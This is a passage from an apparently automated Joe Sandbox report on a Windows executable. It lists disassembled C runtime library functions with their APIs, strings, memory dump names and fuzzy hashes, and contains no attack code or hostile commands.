("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00410AAA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00410AB6

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report__getbuf__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 4471987-4070537404
Opcode ID: c86af8e53484015c3e186f0c48eb91f87735343d660259004aa88f73055f5e76
Instruction ID: e738863643e75ea2eff6372eb4cade07a1013e86ab21a1332a63d55369e42cb2
Opcode Fuzzy Hash: c86af8e53484015c3e186f0c48eb91f87735343d660259004aa88f73055f5e76
Instruction Fuzzy Hash: 1F51E874A00208AFDB14CF94C491AADFBB1BF98324F14C29AE4496B396D775EAC1CF44

Function 00420784 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004207F8
__aullrem.LIBCMT ref: 004209C5
__aulldiv.LIBCMT ref: 004209E7

Strings

0, xrefs: 004207B3
9, xrefs: 004209F8

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 6ae24b264fc982656064a7f7578f12dc2f4af9ef85f3182b800ea4c7ffe1b027
Instruction ID: 132d9dcbef20ec4cb0f51cfc2d4bdd251ecffe8f45274decbc8bdb0374c19283
Opcode Fuzzy Hash: 6ae24b264fc982656064a7f7578f12dc2f4af9ef85f3182b800ea4c7ffe1b027
Instruction Fuzzy Hash: EA41F5B1E05229DFEB24CF58D899BAEBBB5BB44304F50819AD049A7242C7389A84CF45

Function 00422039 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004220A0
__aullrem.LIBCMT ref: 00422270
__aulldiv.LIBCMT ref: 00422292

Strings

9, xrefs: 004222A3
', xrefs: 00422039

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 909b79ec3f35dcdc6c11d4c17450f5894463073a3970c0ccf8cc16f4c027ed90
Instruction ID: 2e3d04dddb8806a466e3d0086edf00fd4546b1ba75ee6ca2a7c6df537d265804
Opcode Fuzzy Hash: 909b79ec3f35dcdc6c11d4c17450f5894463073a3970c0ccf8cc16f4c027ed90
Instruction Fuzzy Hash: 784117B1A0012AEFDB24CF48D941BAEB7B4FF85314F5040D9D248A7240D7B85E81CF5A

Function 0041450E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__free_dbg.LIBCMTD ref: 00414566

Part of subcall function 0040B980: __lock.LIBCMTD ref: 0040B9B4
Part of subcall function 0040B980: __free_dbg_nolock.LIBCMTD ref: 0040B9CB

__CrtDbgReportW.LIBCMTD ref: 004145C1
__free_dbg.LIBCMTD ref: 00414611
__free_dbg.LIBCMTD ref: 00414624

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c, xrefs: 004145BA
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca, xrefs: 004145AE

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __free_dbg$Report__free_dbg_nolock__lock
String ID: ((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[ca$f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
API String ID: 1712194882-191247371
Opcode ID: 4f71ba30d205cd90f53b8443f9febde2aa6c5f49fba68b6967cd4767a61b445b
Instruction ID: ac1e8c24cd35f0e1b3bd734665493fee9da66f12939455eb045ced52f0d000fc
Opcode Fuzzy Hash: 4f71ba30d205cd90f53b8443f9febde2aa6c5f49fba68b6967cd4767a61b445b
Instruction Fuzzy Hash: 8D31D870600158EBEB28CE48C594BAD7772FB80359F208169E5066F786C779EEC9DB84

Function 0041000F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 00410013

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 00410034

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

raise, xrefs: 0041002A
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c, xrefs: 00410025
("Invalid signal or error", 0), xrefs: 0041002F

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __encode_pointer__errno__getptd_noexit__invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c$raise
API String ID: 2601638142-980669415
Opcode ID: 51cc1523efe36be24da850d4067146efc45ac6485364e6a559b5028b73c830c0
Instruction ID: 993b5f84bfa90dc9aa2b86d9f685335aac2a697af9c05920d8d2dccfffc0ab6d
Opcode Fuzzy Hash: 51cc1523efe36be24da850d4067146efc45ac6485364e6a559b5028b73c830c0
Instruction Fuzzy Hash: CBE0C2F6BC830076E1215E496C037997B10E755B2BF2002BBF419656D2EBFE1080429D

Function 0041A541 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 15COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041A544

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 0041A562

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

(format != NULL), xrefs: 0041A55D
_vsnprintf_helper, xrefs: 0041A558
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041A553

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __encode_pointer__errno__getptd_noexit__invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
API String ID: 2601638142-2897124391
Opcode ID: 9cc4be0dba5fb0be1064ee27cf33fd0fba1c435677cee6d168020f53bc3923c7
Instruction ID: 8c8b253267288b7aa4e3d19ced564bca0824e49fcfc068a6d1d284698c08730b
Opcode Fuzzy Hash: 9cc4be0dba5fb0be1064ee27cf33fd0fba1c435677cee6d168020f53bc3923c7
Instruction Fuzzy Hash: 07D0A970B88308B0D120BA651C03B823A000B02B28F2603AB7D5E380C3D8FE54A0055F

Function 0041A98C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 15COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041A98F

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 0041A9B0

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

_vsnprintf_s_l, xrefs: 0041A9A6
format != NULL, xrefs: 0041A9AB
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041A9A1

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __encode_pointer__errno__getptd_noexit__invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c$format != NULL
API String ID: 2601638142-3373716590
Opcode ID: 43af795453a8f120b98cea5dbfb9359118460aa9d35e35c3c10f8c8f17665893
Instruction ID: 489adc58559791e535cc09a30a62f8ab1c28dde887e068202d9e9c2827cb979a
Opcode Fuzzy Hash: 43af795453a8f120b98cea5dbfb9359118460aa9d35e35c3c10f8c8f17665893
Instruction Fuzzy Hash: 75D0A9B0AC831875D220BA210C03BD536014B02B28F2212DBB91A380C3E8FDA4A0219F

Function 0041AA24 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 15COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041AA28

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 0041AA49

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

string != NULL && sizeInBytes > 0, xrefs: 0041AA44
_vsnprintf_s_l, xrefs: 0041AA3F
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041AA3A

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __encode_pointer__errno__getptd_noexit__invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2601638142-2966424327
Opcode ID: 63bc48ecd398192f122b6e6edd55d23cd0cfc481db38623ba8ab462b29cc4812
Instruction ID: 94cd478bf1357e732bf209f6a8a00e37b9101d2fd311effaca109fa694aecb19
Opcode Fuzzy Hash: 63bc48ecd398192f122b6e6edd55d23cd0cfc481db38623ba8ab462b29cc4812
Instruction Fuzzy Hash: 6DD0A9B0AC830836D520BA200C53BC436014B02B28F22039BB91A390C3E9FDA4A0229F

Function 02282670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022826DB
_memset.LIBCMT ref: 02282A30
_memset.LIBCMT ref: 02282AC0

Strings

D, xrefs: 02282AC8

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 6fc7991ed61ed2cfef49f36a847c1ebffa767fed128bb9d1a4a270622581ee7b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 6FE17B71D1125AEACF24EFE0CD49FEEB7B8BF04304F144169E909A2194EB74AA45CF64

Function 0227D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0227D8EA

Strings

, xrefs: 0227DADB
(, xrefs: 0227DAE9
$, xrefs: 0227DAE2

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: fcba6cedb4640f4a4d7b4df1fcd1d9ce711aca95422f66cd0374d2cdc206be96
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: B5919971D14219EAEF20DFE0C849BEEBBB9AF05308F244169D405772C4DBB65A48CFA5

Function 00422026 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004220A0
__aullrem.LIBCMT ref: 00422270
__aulldiv.LIBCMT ref: 00422292

Strings

9, xrefs: 004222A3

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 40a14e90d8722b5b75b12af3c5012a0fe5a1f8c4d1ad9186d0f6d0138da2f85b
Instruction ID: 802d40bb86eda46d330f7827ef34653793b8f5d6c6594e1f5f4edeffbff795fc
Opcode Fuzzy Hash: 40a14e90d8722b5b75b12af3c5012a0fe5a1f8c4d1ad9186d0f6d0138da2f85b
Instruction Fuzzy Hash: 4A4106B1A00129AFDB24CF48D941BAEB7B4FF85314F5041DAD248A7241D7B85A85CF5A

Function 00422074 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004220A0
__aullrem.LIBCMT ref: 00422270
__aulldiv.LIBCMT ref: 00422292

Strings

9, xrefs: 004222A3

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: f6fe971b6f5119387f4d74b3a6ff84e902a829aa3ee90ffbd37d406e4e89f9c6
Instruction ID: b720257e728514ef1c2180392cdedeb3e84d177315cde2fab595efbe5a6e70d2
Opcode Fuzzy Hash: f6fe971b6f5119387f4d74b3a6ff84e902a829aa3ee90ffbd37d406e4e89f9c6
Instruction Fuzzy Hash: 2D4107B1A0012AAFDB24CF48DD81BAEB7B5FF85314F5081D9D258A7241C7B85E81CF59

Function 004207CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004207F8
__aullrem.LIBCMT ref: 004209C5
__aulldiv.LIBCMT ref: 004209E7

Strings

9, xrefs: 004209F8

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: cccb3587c9681fbdaa943a18ad1e1189ff1b9224d42225ddf1fb12999dc31f06
Instruction ID: 4ce06ac8f1a610bb150d47d750349d25ce64c8093bf56d7dc5a96f46b10e2f22
Opcode Fuzzy Hash: cccb3587c9681fbdaa943a18ad1e1189ff1b9224d42225ddf1fb12999dc31f06
Instruction Fuzzy Hash: A341E5B1E05229DFEB64CF59DC99BAEB7B5FB84304F50819AD059A7242C7389E80CF44

Function 0042201D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004220A0
_get_int64_arg.LIBCMTD ref: 004220C8
__aullrem.LIBCMT ref: 00422270
__aulldiv.LIBCMT ref: 00422292

Strings

9, xrefs: 004222A3

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8475f9078d8e0c75c7ff64ee551256a7910bda1f27d75c6b35b5af1753b9ec80
Instruction ID: dd984cf12f7f5b70d8e694362e3c68ac8062beac8662b3c595d535758f24c32a
Opcode Fuzzy Hash: 8475f9078d8e0c75c7ff64ee551256a7910bda1f27d75c6b35b5af1753b9ec80
Instruction Fuzzy Hash: 9E41E8B1A00129EFDB24CF58D981BAEB7B4FB85314F5041D9D248A7201D7B85E81CF5A

Function 0042077B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004207F8
_get_int64_arg.LIBCMTD ref: 00420820
__aullrem.LIBCMT ref: 004209C5
__aulldiv.LIBCMT ref: 004209E7

Strings

9, xrefs: 004209F8

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: a03684f63cbc6a91d378d3c7cc75e913b35af2b0ebf61f63ec8f4a56a4cef1d3
Instruction ID: a0f0a5e66fd16bbacb73a4e67112318abeabfe14e1917395497382e3e7041cd5
Opcode Fuzzy Hash: a03684f63cbc6a91d378d3c7cc75e913b35af2b0ebf61f63ec8f4a56a4cef1d3
Instruction Fuzzy Hash: F541E4B1E05229DFEB24CF58D899BAEB7B5BB44304F50819AD049A7242C7389E80CF45

Function 02295CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02295CF4

Strings

U, xrefs: 02295CFD

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 5b951aee0f40e68e378311065c1a69a01c9fff40f4053ed4b5ce9b362a30c306
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 8D2108327343096EEF019AE8EC45BBE739DDB46360F904165F908C6198FF71E9508AA4

Function 0041E0E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417900: __getptd.LIBCMTD ref: 00417906
Part of subcall function 00417900: __getptd.LIBCMTD ref: 00417916

__getptd.LIBCMTD ref: 0041E0FD

